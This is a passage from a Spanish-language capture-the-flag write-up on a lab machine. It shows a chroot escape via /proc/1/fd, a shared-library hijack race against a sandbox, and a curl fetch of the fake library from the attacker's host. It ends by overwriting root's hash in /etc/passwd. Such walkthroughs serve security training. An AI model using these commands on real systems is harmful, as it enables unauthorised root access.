cp /lib/x86_64-linux-gnu/libcrypto.so.1.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libdl.so.2 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpthread.so.0 $dir/$jail/lib/x86_64-linux-gnu/
cp /tmp/.libz.so.1 $dir/$jail/lib/x86_64-linux-gnu/libz.so.1
done
Y el malware que será compilado es este script en C tan sencillo (.exploit.c
):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
sleep(2);
system("/proc/1/fd/3/../../../../../usr/lib/openssh/ssh-keysign");
return 0;
}
Nótese que estamos ejecutanso ssh-keysign
escapando de chroot
, de manera que se ejecuta como binario SUID.
Después de guardarlo en la máquina, tenemos que ejecutar sandbox
y justo después ejecutar el script en Bash (nótese que añadí una instrucción sleep(2)
para tener algo de tiempo adicional). Es como si fuera una condición de carrera.
$ ssh clarence@10.10.11.141
clarence@10.10.11.141's password:
clarence@scanned:~$ cd /var/www/malscanner/sandbox
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
clarence@scanned:/tmp$ bash .copy.sh
Y veremos la siguiente salida:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
Library hijacked!
Exited
Kill err: (3)
Entonces, el ataque ha funcionado. Ahora podemos ejecutar un comando personalizado con fakelib.sh
. El propio script provee una forma de usar bash
poniendo UID/GID como EUID/EGID:
$ bash fakelib.sh -l libz.so.1 -o fakelibz.so.1 -g -p bash
Generating fake library under fakelibz.so.1
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
clarence@scanned:/tmp$ curl 10.10.17.44/fakelibz.so.1 -so .libz.so.1
Además, necesitamos copiar /bin/bash
y más librerías compartidas en la jaula:
clarence@scanned:/tmp$ ldd /bin/bash
linux-vdso.so.1 (0x00007fff80bec000)
libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007fd3ac155000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd3ac14f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd3abf8a000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd3ac2c4000)
Y entonces, este es el script .copy.sh
actualizado:
#!/usr/bin/env bash
dir=/var/www/malscanner/sandbox/jails
for jail in $(ls $dir); do
cp /lib/x86_64-linux-gnu/libcrypto.so.1.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libdl.so.2 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpthread.so.0 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libtinfo.so.6 $dir/$jail/lib/x86_64-linux-gnu/
cp /bin/bash $dir/$jail/bin
cp /tmp/.libz.so.1 $dir/$jail/lib/x86_64-linux-gnu/libz.so.1
done
Ahora realizamos el ataque otra vez:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
clarence@scanned:/tmp$ bash .copy.sh
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
bash-5.1# Killed subprocess
Exited
Nótese el #
, por lo que tenemos bash
ejecutado como root
, pero el proceso muere a los 5 segundos…
Escalada de privilegios
Para obtener una shell como root
en condiciones, decidí modificar /etc/passwd
y ponerle una contraseña a root
usando openssl
(formato DES Unix):
$ openssl passwd 7rocky
gf2QeNVUpedfI
Para modificar /etc/passwd
usaré sed
, por lo que tendré que copiar /usr/bin/sed
y más librerías compartidas en la jaula:
clarence@scanned:/tmp$ ldd /usr/bin/sed
linux-vdso.so.1 (0x00007fffcbeea000)
libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007fe73de49000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fe73de1d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe73dc58000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fe73dbc0000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe73dbba000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe73de7a000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe73db98000)
Este es el archivo .copy.sh
actualizado:
#!/usr/bin/env bash
dir=/var/www/malscanner/sandbox/jails
for jail in $(ls $dir); do
cp /lib/x86_64-linux-gnu/libacl.so.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libcrypto.so.1.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libdl.so.2 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpcre2-8.so.0 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpthread.so.0 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libselinux.so.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libtinfo.so.6 $dir/$jail/lib/x86_64-linux-gnu/
cp /bin/bash $dir/$jail/bin
cp /usr/bin/sed $dir/$jail/bin
cp /tmp/.libz.so.1 $dir/$jail/lib/x86_64-linux-gnu/libz.so.1
done
Tendremos que copiar este comando en el portapapeles para poder pegarlo tan pronto como obtengamos la shell como root
(nótese que usamos /proc/1/fd/3/../../../../../etc/passwd
para escapar de chroot
de nuevo):
/bin/sed -i s/root:x/root:gf2QeNVUpedfI/g /proc/1/fd/3/../../../../../etc/passwd
Ahora realizamos el ataque de library hijacking:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
clarence@scanned:/tmp$ bash .copy.sh
Rápidamente, copiamos el comando:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
Exited
bash-5.1# /bin/sed -i s/root:x/root:gf2QeNVUpedfI/g /proc/1/fd/3/../../../../../etc/passwd
bash-5.1# Kill err: (3)
Y…
clarence@scanned:/tmp$ head -1 /etc/passwd
root:gf2QeNVUpedfI:0:0:root:/root:/bin/bash
Hemos modificado /etc/passwd
, por lo que tenemos acceso como root
(con la contraseña 7rocky
):
clarence@scanned:/tmp$ su root
Password:
root@scanned:/tmp# cat /root/root.txt
8f587d54e14d5747055bb717dd2cc520